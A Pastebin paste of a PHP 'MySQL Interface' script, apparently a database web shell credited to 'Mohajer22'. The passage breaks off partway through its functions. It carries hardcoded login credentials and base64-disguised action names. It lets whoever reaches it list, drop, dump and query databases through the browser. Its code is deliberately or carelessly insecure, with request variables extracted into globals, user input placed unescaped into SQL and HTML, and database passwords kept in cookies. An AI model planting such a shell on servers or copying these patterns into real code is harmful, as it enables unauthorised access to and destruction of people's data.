API tools faq
paste
Guest User

Untitled

a guest
Mar 8th, 2018
85
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 39.05 KB | None | 0 0
raw download clone embed print report
  1. <?
  2.  
  3. $PASSWORD = "tryag_vb";
  4.  
  5. $USERNAME = "102030";
  6.  
  7.  
  8.  
  9. if ( function_exists('ini_get') ) {
  10.  
  11.     $onoff = ini_get('register_globals');
  12.  
  13. } else {
  14.  
  15.     $onoff = get_cfg_var('register_globals');
  16.  
  17. }
  18.  
  19. if ($onoff != 1) {
  20.  
  21.     @extract($HTTP_SERVER_VARS, EXTR_SKIP);
  22.  
  23.     @extract($HTTP_COOKIE_VARS, EXTR_SKIP);
  24.  
  25.     @extract($HTTP_POST_FILES, EXTR_SKIP);
  26.  
  27.     @extract($HTTP_POST_VARS, EXTR_SKIP);
  28.  
  29.     @extract($HTTP_GET_VARS, EXTR_SKIP);
  30.  
  31.     @extract($HTTP_ENV_VARS, EXTR_SKIP);
  32.  
  33. }
  34.  
  35.  
  36.  
  37. function logon() {
  38.  
  39.     global $PHP_SELF;
  40.  
  41.     setcookie( "mysql_web_admin_username" );
  42.  
  43.     setcookie( "mysql_web_admin_password" );
  44.  
  45.     setcookie( "mysql_web_admin_hostname" );
  46.  
  47.     echo "<table width=100% height=100%><tr><td><center>\n";
  48.  
  49.     echo "<table cellpadding=2><tr><td><center>\n";
  50.  
  51.     echo "<table cellpadding=20><tr><td><center>\n";
  52.  
  53.     echo "<h1>MySQL Interface (Developed By Mohajer22)</h1>\n";
  54.  
  55.     echo "<form action='$PHP_SELF'>\n";
  56.  
  57.     echo "<input type=hidden name=action value=bG9nb25fc3VibWl0>\n";
  58.  
  59.     echo "<table cellpadding=5 cellspacing=1>\n";
  60.  
  61.     echo "<tr><td>Hostname </td><td> <input type=text name=hostname value='localhost'></td></tr>\n";
  62.  
  63.     echo "<tr><td>Username </td><td> <input type=text name=username></td></tr>\n";
  64.  
  65.     echo "<tr><td>Password </td><td> <input type=password name=password></td></tr>\n";
  66.  
  67.     echo "</table><p>\n";
  68.  
  69.     echo "<input type=submit value='Enter'>\n";
  70.  
  71.     echo "<input type=reset value='Clear'><br>\n";
  72.  
  73.     echo "</form>\n";
  74.  
  75.     echo "</center></td></tr></table>\n";
  76.  
  77.     echo "</center></td></tr></table>\n";
  78.  
  79.     echo "<p><hr width=300>\n";
  80.  
  81.     echo "</center></td></tr></table>\n";
  82.  
  83. }
  84.  
  85.  
  86.  
  87. function logon_submit() {
  88.  
  89.     global $username, $password, $hostname ,$PHP_SELF;
  90.  
  91.     if($hostname =='')
  92.  
  93.         $hostname = 'localhost';
  94.  
  95.     setcookie( "mysql_web_admin_username", $username );
  96.  
  97.     setcookie( "mysql_web_admin_password", $password );
  98.  
  99.     setcookie( "mysql_web_admin_hostname", $hostname );
  100.  
  101.     echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL=$PHP_SELF?action=bGlzdERCcw=='>";
  102.  
  103.  
  104.  
  105. }
  106.  
  107.  
  108.  
  109. function echoQueryResult() {
  110.  
  111.     global $queryStr, $errMsg;
  112.  
  113.  
  114.  
  115.     if( $errMsg == "" ) $errMsg = "Success";
  116.  
  117.     if( $queryStr != "" ) {
  118.  
  119.         echo "<table cellpadding=5>\n";
  120.  
  121.         echo "<tr><td>Query</td><td>$queryStr</td></tr>\n";
  122.  
  123.         echo "<tr><td>Result</td><td>$errMsg</td></tr>\n";
  124.  
  125.         echo "</table><p>\n";
  126.  
  127.     }
  128.  
  129. }
  130.  
  131.  
  132.  
  133. function listDatabases() {
  134.  
  135.     global $mysqlHandle, $PHP_SELF;
  136.  
  137.  
  138.  
  139.     echo "<h1>Databases List</h1>\n";
  140.  
  141.  
  142.  
  143.     echo "<form action='$PHP_SELF'>\n";
  144.  
  145.     echo "<input type=hidden name=action value=createDB>\n";
  146.  
  147.     echo "<input type=text name=dbname>\n";
  148.  
  149.     echo "<input type=submit value='Create Database'>\n";
  150.  
  151.     echo "</form>\n";
  152.  
  153.     echo "<hr>\n";
  154.  
  155.  
  156.  
  157.     echo "<table cellspacing=1 cellpadding=5>\n";
  158.  
  159.  
  160.  
  161.     $pDB = mysql_list_dbs( $mysqlHandle );
  162.  
  163.     $num = mysql_num_rows( $pDB );
  164.  
  165.     for( $i = 0; $i < $num; $i++ ) {
  166.  
  167.         $dbname = mysql_dbname( $pDB, $i );
  168.  
  169.         echo "<tr>\n";
  170.  
  171.         echo "<td>$dbname</td>\n";
  172.  
  173.         echo "<td><a href='$PHP_SELF?action=listTables&dbname=$dbname'>Tables</a></td>\n";
  174.  
  175.         echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>\n";
  176.  
  177.         echo "<td><a href='$PHP_SELF?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
  178.  
  179.         echo "</tr>\n";
  180.  
  181.     }
  182.  
  183.     echo "</table>\n";
  184.  
  185. }
  186.  
  187.  
  188.  
  189. function createDatabase() {
  190.  
  191.     global $mysqlHandle, $dbname, $PHP_SELF;
  192.  
  193.  
  194.  
  195.     mysql_create_db( $dbname, $mysqlHandle );
  196.  
  197.     listDatabases();
  198.  
  199. }
  200.  
  201.  
  202.  
  203. function dropDatabase() {
  204.  
  205.     global $mysqlHandle, $dbname, $PHP_SELF;
  206.  
  207.  
  208.  
  209.     mysql_drop_db( $dbname, $mysqlHandle );
  210.  
  211.     listDatabases();
  212.  
  213. }
  214.  
  215.  
  216.  
  217. function listTables() {
  218.  
  219.     global $mysqlHandle, $dbname, $PHP_SELF;
  220.  
  221.  
  222.  
  223.  
  224.  
  225.     echo "<h1>Tables List</h1>\n";
  226.  
  227.     echo "<p class=location>$dbname</p>\n";
  228.  
  229.     echoQueryResult();
  230.  
  231.     echo "<form action='$PHP_SELF'>\n";
  232.  
  233.     echo "<input type=hidden name=action value=createTable>\n";
  234.  
  235.     echo "<input type=hidden name=dbname value=$dbname>\n";
  236.  
  237.     echo "<input type=text name=tablename>\n";
  238.  
  239.     echo "<input type=submit value='Create Table'>\n";
  240.  
  241.     echo "</form>\n";
  242.  
  243.     echo "<form action='$PHP_SELF'>\n";
  244.  
  245.     echo "<input type=hidden name=action value=query>\n";
  246.  
  247.     echo "<input type=hidden name=dbname value=$dbname>\n";
  248.  
  249.     echo "<input type=text size=120 name=queryStr>\n";
  250.  
  251.     echo "<input type=submit value='Query'>\n";
  252.  
  253.     echo "</form>\n";
  254.  
  255.     echo "<hr>\n";
  256.  
  257.  
  258.  
  259.     $pTable = mysql_list_tables( $dbname );
  260.  
  261.  
  262.  
  263.     if( $pTable == 0 ) {
  264.  
  265.         $msg  = mysql_error();
  266.  
  267.         echo "<h3>Error : $msg</h3><p>\n";
  268.  
  269.         return;
  270.  
  271.     }
  272.  
  273.     $num = mysql_num_rows( $pTable );
  274.  
  275.  
  276.  
  277.     echo "<table cellspacing=1 cellpadding=5>\n";
  278.  
  279.  
  280.  
  281.     for( $i = 0; $i < $num; $i++ ) {
  282.  
  283.         $tablename = mysql_tablename( $pTable, $i );
  284.  
  285.  
  286.  
  287.         echo "<tr>\n";
  288.  
  289.         echo "<td>\n";
  290.  
  291.         echo "$tablename\n";
  292.  
  293.         echo "</td>\n";
  294.  
  295.         echo "<td>\n";
  296.  
  297.         echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  298.  
  299.         echo "</td>\n";
  300.  
  301.         echo "<td>\n";
  302.  
  303.         echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename'>Data</a>\n";
  304.  
  305.         echo "</td>\n";
  306.  
  307.         echo "<td>\n";
  308.  
  309.         echo "<a href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Table \'$tablename\'?')\">Drop</a>\n";
  310.  
  311.         echo "</td>\n";
  312.  
  313.         echo "<td>\n";
  314.  
  315.         echo "<a href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Dump Table \'$tablename\'?')\">Dump</a>\n";
  316.  
  317.         echo "</td>\n";
  318.  
  319.         echo "</tr>\n";
  320.  
  321.     }
  322.  
  323.  
  324.  
  325.     echo "</table>";
  326.  
  327. }
  328.  
  329.  
  330.  
  331. function createTable() {
  332.  
  333.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  334.  
  335.  
  336.  
  337.     $queryStr = "CREATE TABLE $tablename ( no INT )";
  338.  
  339.     mysql_select_db( $dbname, $mysqlHandle );
  340.  
  341.     mysql_query( $queryStr, $mysqlHandle );
  342.  
  343.     $errMsg = mysql_error();
  344.  
  345.  
  346.  
  347.     listTables();
  348.  
  349. }
  350.  
  351.  
  352.  
  353. function dropTable() {
  354.  
  355.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  356.  
  357.  
  358.  
  359.     $queryStr = "DROP TABLE $tablename";
  360.  
  361.     mysql_select_db( $dbname, $mysqlHandle );
  362.  
  363.     mysql_query( $queryStr, $mysqlHandle );
  364.  
  365.     $errMsg = mysql_error();
  366.  
  367.  
  368.  
  369.     listTables();
  370.  
  371. }
  372.  
  373.  
  374.  
  375. function viewSchema() {
  376.  
  377.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  378.  
  379.  
  380.  
  381.     echo "<h1>Table Schema</h1>\n";
  382.  
  383.     echo "<p class=location>$dbname > $tablename</p>\n";
  384.  
  385.  
  386.  
  387.     echoQueryResult();
  388.  
  389.  
  390.  
  391.     echo "<a href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add Field</a> | \n";
  392.  
  393.     echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename'>View Data</a>\n";
  394.  
  395.     echo "<hr>\n";
  396.  
  397.  
  398.  
  399.     $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  400.  
  401.     $num = mysql_num_rows( $pResult );
  402.  
  403.  
  404.  
  405.     echo "<table cellspacing=1 cellpadding=5>\n";
  406.  
  407.     echo "<tr>\n";
  408.  
  409.     echo "<th>Field</th>\n";
  410.  
  411.     echo "<th>Type</th>\n";
  412.  
  413.     echo "<th>Null</th>\n";
  414.  
  415.     echo "<th>Key</th>\n";
  416.  
  417.     echo "<th>Default</th>\n";
  418.  
  419.     echo "<th>Extra</th>\n";
  420.  
  421.     echo "<th colspan=2>Action</th>\n";
  422.  
  423.     echo "</tr>\n";
  424.  
  425.  
  426.  
  427.  
  428.  
  429.     for( $i = 0; $i < $num; $i++ ) {
  430.  
  431.         $field = mysql_fetch_array( $pResult );
  432.  
  433.         echo "<tr>\n";
  434.  
  435.         echo "<td>".$field["Field"]."</td>\n";
  436.  
  437.         echo "<td>".$field["Type"]."</td>\n";
  438.  
  439.         echo "<td>".$field["Null"]."</td>\n";
  440.  
  441.         echo "<td>".$field["Key"]."</td>\n";
  442.  
  443.         echo "<td>".$field["Default"]."</td>\n";
  444.  
  445.         echo "<td>".$field["Extra"]."</td>\n";
  446.  
  447.         $fieldname = $field["Field"];
  448.  
  449.         echo "<td><a href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>\n";
  450.  
  451.         echo "<td><a href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n";
  452.  
  453.         echo "</tr>\n";
  454.  
  455.     }
  456.  
  457.     echo "</table>\n";
  458.  
  459.  
  460.  
  461. }
  462.  
  463.  
  464.  
  465. function manageField( $cmd ) {
  466.  
  467.     global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;
  468.  
  469.  
  470.  
  471.     if( $cmd == "add" )
  472.  
  473.         echo "<h1>Add Field</h1>\n";
  474.  
  475.     else if( $cmd == "edit" ) {
  476.  
  477.         echo "<h1>Edit Field</h1>\n";
  478.  
  479.         $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  480.  
  481.         $num = mysql_num_rows( $pResult );
  482.  
  483.         for( $i = 0; $i < $num; $i++ ) {
  484.  
  485.             $field = mysql_fetch_array( $pResult );
  486.  
  487.             if( $field["Field"] == $fieldname ) {
  488.  
  489.                 $fieldtype = $field["Type"];
  490.  
  491.                 $fieldkey = $field["Key"];
  492.  
  493.                 $fieldextra = $field["Extra"];
  494.  
  495.                 $fieldnull = $field["Null"];
  496.  
  497.                 $fielddefault = $field["Default"];
  498.  
  499.                 break;
  500.  
  501.             }
  502.  
  503.         }
  504.  
  505.         $type = strtok( $fieldtype, " (,)\n" );
  506.  
  507.         if( strpos( $fieldtype, "(" ) ) {
  508.  
  509.             if( $type == "enum" | $type == "set" ) {
  510.  
  511.                 $valuelist = strtok( " ()\n" );
  512.  
  513.             } else {
  514.  
  515.                 $M = strtok( " (,)\n" );
  516.  
  517.                 if( strpos( $fieldtype, "," ) )
  518.  
  519.                     $D = strtok( " (,)\n" );
  520.  
  521.             }
  522.  
  523.         }
  524.  
  525.     }
  526.  
  527.  
  528.  
  529.     echo "<p class=location>$dbname > $tablename</p>\n";
  530.  
  531.     echo "<form action=$PHP_SELF>\n";
  532.  
  533.  
  534.  
  535.     if( $cmd == "add" )
  536.  
  537.         echo "<input type=hidden name=action value=addField_submit>\n";
  538.  
  539.     else if( $cmd == "edit" ) {
  540.  
  541.         echo "<input type=hidden name=action value=editField_submit>\n";
  542.  
  543.         echo "<input type=hidden name=old_name value=$fieldname>\n";
  544.  
  545.     }
  546.  
  547.     echo "<input type=hidden name=dbname value=$dbname>\n";
  548.  
  549.     echo "<input type=hidden name=tablename value=$tablename>\n";
  550.  
  551.  
  552.  
  553.     echo "<h3>Name</h3>\n";
  554.  
  555.     echo "<input type=text name=name value=$fieldname><p>\n";
  556.  
  557.     echo '
  558.  
  559.  
  560.  
  561. <h3>Type</h3>
  562.  
  563.  
  564.  
  565. <font size=2>
  566.  
  567. * `M\' indicates the maximum display size.<br>
  568.  
  569. * `D\' applies to floating-point types and indicates the number of digits following the decimal point.<br>
  570.  
  571. </font>
  572.  
  573.  
  574.  
  575. <table>
  576.  
  577. <tr>
  578.  
  579. <th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th>
  580.  
  581. </tr>
  582.  
  583. <tr>
  584.  
  585. <td><input type=radio name=type value="TINYINT" '; if( $type == "tinyint" ) echo "checked";echo '>TINYINT (-128 ~ 127)</td>
  586.  
  587. <td align=center>O</td>
  588.  
  589. <td>&nbsp</td>
  590.  
  591. <td align=center>O</td>
  592.  
  593. <td align=center>O</td>
  594.  
  595. <td>&nbsp</td>
  596.  
  597. </tr>
  598.  
  599. <tr>
  600.  
  601. <td><input type=radio name=type value="SMALLINT" '; if( $type == "smallint" ) echo "checked";echo '>SMALLINT (-32768 ~ 32767)</td>
  602.  
  603. <td align=center>O</td>
  604.  
  605. <td>&nbsp</td>
  606.  
  607. <td align=center>O</td>
  608.  
  609. <td align=center>O</td>
  610.  
  611. <td>&nbsp</td>
  612.  
  613. </tr>
  614.  
  615. <tr>
  616.  
  617. <td><input type=radio name=type value="MEDIUMINT" '; if( $type == "mediumint" ) echo "checked";echo '>MEDIUMINT (-8388608 ~ 8388607)</td>
  618.  
  619.  
  620.  
  621. <td align=center>O</td>
  622.  
  623. <td>&nbsp</td>
  624.  
  625. <td align=center>O</td>
  626.  
  627. <td align=center>O</td>
  628.  
  629. <td>&nbsp</td>
  630.  
  631. </tr>
  632.  
  633. <tr>
  634.  
  635. <td><input type=radio name=type value="INT" '; if( $type == "int" ) echo "checked";echo '>INT (-2147483648 ~ 2147483647)</td>
  636.  
  637. <td align=center>O</td>
  638.  
  639. <td>&nbsp</td>
  640.  
  641. <td align=center>O</td>
  642.  
  643. <td align=center>O</td>
  644.  
  645. <td>&nbsp</td>
  646.  
  647. </tr>
  648.  
  649. <tr>
  650.  
  651. <td><input type=radio name=type value="BIGINT" '; if( $type == "bigint" ) echo "checked";echo '>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>
  652.  
  653. <td align=center>O</td>
  654.  
  655. <td>&nbsp</td>
  656.  
  657. <td align=center>O</td>
  658.  
  659. <td align=center>O</td>
  660.  
  661. <td>&nbsp</td>
  662.  
  663. </tr>
  664.  
  665. <tr>
  666.  
  667. <td><input type=radio name=type value="FLOAT" '; if( $type == "float" ) echo "checked";echo '>FLOAT</td>
  668.  
  669. <td align=center>O</td>
  670.  
  671. <td align=center>O</td>
  672.  
  673. <td>&nbsp</td>
  674.  
  675. <td align=center>O</td>
  676.  
  677. <td>&nbsp</td>
  678.  
  679. </tr>
  680.  
  681. <tr>
  682.  
  683. <td><input type=radio name=type value="DOUBLE" '; if( $type == "double" ) echo "checked";echo '>DOUBLE</td>
  684.  
  685. <td align=center>O</td>
  686.  
  687. <td align=center>O</td>
  688.  
  689. <td>&nbsp</td>
  690.  
  691. <td align=center>O</td>
  692.  
  693. <td>&nbsp</td>
  694.  
  695. </tr>
  696.  
  697. <tr>
  698.  
  699. <td><input type=radio name=type value="DECIMAL" '; if( $type == "decimal" ) echo "checked";echo '>DECIMAL(NUMERIC)</td>
  700.  
  701. <td align=center>O</td>
  702.  
  703. <td align=center>O</td>
  704.  
  705. <td>&nbsp</td>
  706.  
  707. <td align=center>O</td>
  708.  
  709. <td>&nbsp</td>
  710.  
  711. </tr>
  712.  
  713. <tr>
  714.  
  715. <td><input type=radio name=type value="DATE" '; if( $type == "date" ) echo "checked";echo '>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>
  716.  
  717. <td>&nbsp</td>
  718.  
  719. <td>&nbsp</td>
  720.  
  721. <td>&nbsp</td>
  722.  
  723. <td>&nbsp</td>
  724.  
  725. <td>&nbsp</td>
  726.  
  727. </tr>
  728.  
  729. <tr>
  730.  
  731. <td><input type=radio name=type value="DATETIME" '; if( $type == "datetime" ) echo "checked";echo '>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>
  732.  
  733. <td>&nbsp</td>
  734.  
  735. <td>&nbsp</td>
  736.  
  737. <td>&nbsp</td>
  738.  
  739. <td>&nbsp</td>
  740.  
  741. <td>&nbsp</td>
  742.  
  743. </tr>
  744.  
  745. <tr>
  746.  
  747. <td><input type=radio name=type value="TIMESTAMP" '; if( $type == "timestamp" ) echo "checked";echo '>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>
  748.  
  749. <td align=center>O</td>
  750.  
  751. <td>&nbsp</td>
  752.  
  753. <td>&nbsp</td>
  754.  
  755. <td>&nbsp</td>
  756.  
  757. <td>&nbsp</td>
  758.  
  759. </tr>
  760.  
  761. <tr>
  762.  
  763. <td><input type=radio name=type value="TIME" '; if( $type == "time" ) echo "checked";echo '>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>
  764.  
  765. <td>&nbsp</td>
  766.  
  767. <td>&nbsp</td>
  768.  
  769. <td>&nbsp</td>
  770.  
  771. <td>&nbsp</td>
  772.  
  773. <td>&nbsp</td>
  774.  
  775. </tr>
  776.  
  777. <tr>
  778.  
  779. <td><input type=radio name=type value="YEAR" '; if( $type == "year" ) echo "checked";echo '>YEAR (1901 ~ 2155, 0000, YYYY)</td>
  780.  
  781. <td>&nbsp</td>
  782.  
  783. <td>&nbsp</td>
  784.  
  785. <td>&nbsp</td>
  786.  
  787. <td>&nbsp</td>
  788.  
  789. <td>&nbsp</td>
  790.  
  791. </tr>
  792.  
  793. <tr>
  794.  
  795. <td><input type=radio name=type value="CHAR" '; if( $type == "char" ) echo "checked";echo '>CHAR</td>
  796.  
  797. <td align=center>O</td>
  798.  
  799. <td>&nbsp</td>
  800.  
  801. <td>&nbsp</td>
  802.  
  803. <td>&nbsp</td>
  804.  
  805. <td align=center>O</td>
  806.  
  807. </tr>
  808.  
  809. <tr>
  810.  
  811. <td><input type=radio name=type value="VARCHAR" '; if( $type == "varchar" ) echo "checked";echo '>VARCHAR</td>
  812.  
  813. <td align=center>O</td>
  814.  
  815. <td>&nbsp</td>
  816.  
  817. <td>&nbsp</td>
  818.  
  819. <td>&nbsp</td>
  820.  
  821. <td align=center>O</td>
  822.  
  823. </tr>
  824.  
  825. <tr>
  826.  
  827. <td><input type=radio name=type value="TINYTEXT" '; if( $type == "tinytext" ) echo "checked";echo '>TINYTEXT (0 ~ 255)</td>
  828.  
  829. <td>&nbsp</td>
  830.  
  831. <td>&nbsp</td>
  832.  
  833. <td>&nbsp</td>
  834.  
  835. <td>&nbsp</td>
  836.  
  837. <td>&nbsp</td>
  838.  
  839. </tr>
  840.  
  841. <tr>
  842.  
  843. <td><input type=radio name=type value="TEXT" '; if( $type == "text" ) echo "checked";echo '>TEXT (0 ~ 65535)</td>
  844.  
  845. <td>&nbsp</td>
  846.  
  847. <td>&nbsp</td>
  848.  
  849. <td>&nbsp</td>
  850.  
  851. <td>&nbsp</td>
  852.  
  853. <td>&nbsp</td>
  854.  
  855. </tr>
  856.  
  857. <tr>
  858.  
  859. <td><input type=radio name=type value="MEDIUMTEXT" '; if( $type == "mediumtext" ) echo "checked";echo '>MEDIUMTEXT (0 ~ 16777215)</td>
  860.  
  861. <td>&nbsp</td>
  862.  
  863. <td>&nbsp</td>
  864.  
  865. <td>&nbsp</td>
  866.  
  867. <td>&nbsp</td>
  868.  
  869. <td>&nbsp</td>
  870.  
  871. </tr>
  872.  
  873. <tr>
  874.  
  875. <td><input type=radio name=type value="LONGTEXT" '; if( $type == "longtext" ) echo "checked";echo '>LONGTEXT (0 ~ 4294967295)</td>
  876.  
  877. <td>&nbsp</td>
  878.  
  879. <td>&nbsp</td>
  880.  
  881. <td>&nbsp</td>
  882.  
  883. <td>&nbsp</td>
  884.  
  885. <td>&nbsp</td>
  886.  
  887. </tr>
  888.  
  889. <tr>
  890.  
  891. <td><input type=radio name=type value="TINYBLOB" '; if( $type == "tinyblob" ) echo "checked";echo '>TINYBLOB (0 ~ 255)</td>
  892.  
  893. <td>&nbsp</td>
  894.  
  895. <td>&nbsp</td>
  896.  
  897. <td>&nbsp</td>
  898.  
  899. <td>&nbsp</td>
  900.  
  901. <td>&nbsp</td>
  902.  
  903. </tr>
  904.  
  905. <tr>
  906.  
  907. <td><input type=radio name=type value="BLOB" '; if( $type == "blob" ) echo "checked";echo '>BLOB (0 ~ 65535)</td>
  908.  
  909. <td>&nbsp</td>
  910.  
  911. <td>&nbsp</td>
  912.  
  913. <td>&nbsp</td>
  914.  
  915. <td>&nbsp</td>
  916.  
  917. <td>&nbsp</td>
  918.  
  919. </tr>
  920.  
  921. <tr>
  922.  
  923. <td><input type=radio name=type value="MEDIUMBLOB" '; if( $type == "mediumblob" ) echo "checked";echo '>MEDIUMBLOB (0 ~ 16777215)</td>
  924.  
  925. <td>&nbsp</td>
  926.  
  927. <td>&nbsp</td>
  928.  
  929. <td>&nbsp</td>
  930.  
  931. <td>&nbsp</td>
  932.  
  933. <td>&nbsp</td>
  934.  
  935. </tr>
  936.  
  937. <tr>
  938.  
  939. <td><input type=radio name=type value="LONGBLOB" '; if( $type == "longblob" ) echo "checked";echo '>LONGBLOB (0 ~ 4294967295)</td>
  940.  
  941. <td>&nbsp</td>
  942.  
  943. <td>&nbsp</td>
  944.  
  945. <td>&nbsp</td>
  946.  
  947. <td>&nbsp</td>
  948.  
  949. <td>&nbsp</td>
  950.  
  951. </tr>
  952.  
  953. <tr>
  954.  
  955. <td><input type=radio name=type value="ENUM" '; if( $type == "enum" ) echo "checked";echo '>ENUM</td>
  956.  
  957. <td colspan=5><center>value list</center></td>
  958.  
  959. </tr>
  960.  
  961. <tr>
  962.  
  963. <td><input type=radio name=type value="SET" '; if( $type == "set" ) echo "checked";echo '>SET</td>
  964.  
  965. <td colspan=5><center>value list</center></td>
  966.  
  967. </tr>
  968.  
  969.  
  970.  
  971. </table>
  972.  
  973. <table>
  974.  
  975. <tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: \'apple\', \'orange\', \'banana\') </th></tr>
  976.  
  977. <tr>
  978.  
  979. <td align=center><input type=text size=4 name=M '; if( $M != "" ) echo "value=$M";echo '></td>
  980.  
  981. <td align=center><input type=text size=4 name=D '; if( $D != "" ) echo "value=$D";echo '></td>
  982.  
  983. <td align=center><input type=checkbox name=unsigned value="UNSIGNED" '; if( strpos( $fieldtype, "unsigned" ) ) echo "checked";echo '></td>
  984.  
  985. <td align=center><input type=checkbox name=zerofill value="ZEROFILL" '; if( strpos( $fieldtype, "zerofill" ) ) echo "checked";echo '></td>
  986.  
  987. <td align=center><input type=checkbox name=binary value="BINARY" '; if( strpos( $fieldtype, "binary" )  ) echo "checked";echo '></td>
  988.  
  989. <td align=center><input type=text size=60 name=valuelist '; if( $valuelist != "" ) echo "value=\"$valuelist\"";echo '></td>
  990.  
  991. </tr>
  992.  
  993. </table>
  994.  
  995.  
  996.  
  997.  
  998.  
  999. <h3>Flags</h3>
  1000.  
  1001. <table>
  1002.  
  1003. <tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>
  1004.  
  1005. <tr>
  1006.  
  1007. <td align=center><input type=checkbox name=not_null value="NOT NULL" '; if( $fieldnull != "YES" ) echo "checked";echo '></td>
  1008.  
  1009. <td align=center><input type=text name=default_value '; if( $fielddefault != "" ) echo "value=$fielddefault";echo '></td>
  1010.  
  1011. <td align=center><input type=checkbox name=auto_increment value="AUTO_INCREMENT" '; if( $fieldextra == "auto_increment" ) echo "checked";echo '></td>
  1012.  
  1013. <td align=center><input type=checkbox name=primary_key value="PRIMARY KEY" '; if( $fieldkey == "PRI" ) echo "checked";echo '></td>
  1014.  
  1015. </tr>
  1016.  
  1017. </table>
  1018.  
  1019.  
  1020.  
  1021. <p>';
  1022.  
  1023.  
  1024.  
  1025.     if( $cmd == "add" )
  1026.  
  1027.         echo "<input type=submit value='Add Field'>\n";
  1028.  
  1029.     else if( $cmd == "edit" )
  1030.  
  1031.         echo "<input type=submit value='Edit Field'>\n";
  1032.  
  1033.     echo "<input type=button value=Cancel onClick='history.back()'>\n";
  1034.  
  1035.     echo "</form>\n";
  1036.  
  1037. }
  1038.  
  1039.  
  1040.  
  1041. function manageField_submit( $cmd ) {
  1042.  
  1043.     global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg,
  1044.  
  1045.         $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;
  1046.  
  1047.  
  1048.  
  1049.     if( $cmd == "add" )
  1050.  
  1051.         $queryStr = "ALTER TABLE $tablename ADD $name ";
  1052.  
  1053.     else if( $cmd == "edit" )
  1054.  
  1055.         $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name ";
  1056.  
  1057.  
  1058.  
  1059.     if( $M != "" )
  1060.  
  1061.         if( $D != "" )
  1062.  
  1063.             $queryStr .= "$type($M,$D) ";
  1064.  
  1065.         else
  1066.  
  1067.             $queryStr .= "$type($M) ";
  1068.  
  1069.     else if( $valuelist != "" ) {
  1070.  
  1071.         $valuelist = stripslashes( $valuelist );
  1072.  
  1073.         $queryStr .= "$type($valuelist) ";
  1074.  
  1075.     } else
  1076.  
  1077.         $queryStr .= "$type ";
  1078.  
  1079.  
  1080.  
  1081.     $queryStr .= "$unsigned $zerofill $binary ";
  1082.  
  1083.  
  1084.  
  1085.     if( $default_value != "" )
  1086.  
  1087.         $queryStr .= "DEFAULT '$default_value' ";
  1088.  
  1089.  
  1090.  
  1091.     $queryStr .= "$not_null $auto_increment";
  1092.  
  1093.  
  1094.  
  1095.     mysql_select_db( $dbname, $mysqlHandle );
  1096.  
  1097.     mysql_query( $queryStr, $mysqlHandle );
  1098.  
  1099.     $errMsg = mysql_error();
  1100.  
  1101.  
  1102.  
  1103.     // key change
  1104.  
  1105.     $keyChange = false;
  1106.  
  1107.     $result = mysql_query( "SHOW KEYS FROM $tablename" );
  1108.  
  1109.     $primary = "";
  1110.  
  1111.     while( $row = mysql_fetch_array($result) )
  1112.  
  1113.         if( $row["Key_name"] == "PRIMARY" ) {
  1114.  
  1115.             if( $row[Column_name] == $name )
  1116.  
  1117.                 $keyChange = true;
  1118.  
  1119.             else
  1120.  
  1121.                 $primary .= ", $row[Column_name]";
  1122.  
  1123.         }
  1124.  
  1125.     if( $primary_key == "PRIMARY KEY" ) {
  1126.  
  1127.         $primary .= ", $name";
  1128.  
  1129.         $keyChange = !$keyChange;
  1130.  
  1131.     }
  1132.  
  1133.     $primary = substr( $primary, 2 );
  1134.  
  1135.     if( $keyChange == true ) {
  1136.  
  1137.         $q = "ALTER TABLE $tablename DROP PRIMARY KEY";
  1138.  
  1139.         mysql_query( $q );
  1140.  
  1141.         $queryStr .= "<br>\n" . $q;
  1142.  
  1143.         $errMsg .= "<br>\n" . mysql_error();
  1144.  
  1145.         $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )";
  1146.  
  1147.         mysql_query( $q );
  1148.  
  1149.         $queryStr .= "<br>\n" . $q;
  1150.  
  1151.         $errMsg .= "<br>\n" . mysql_error();
  1152.  
  1153.     }
  1154.  
  1155.  
  1156.  
  1157.     viewSchema();
  1158.  
  1159. }
  1160.  
  1161.  
  1162.  
  1163. function dropField() {
  1164.  
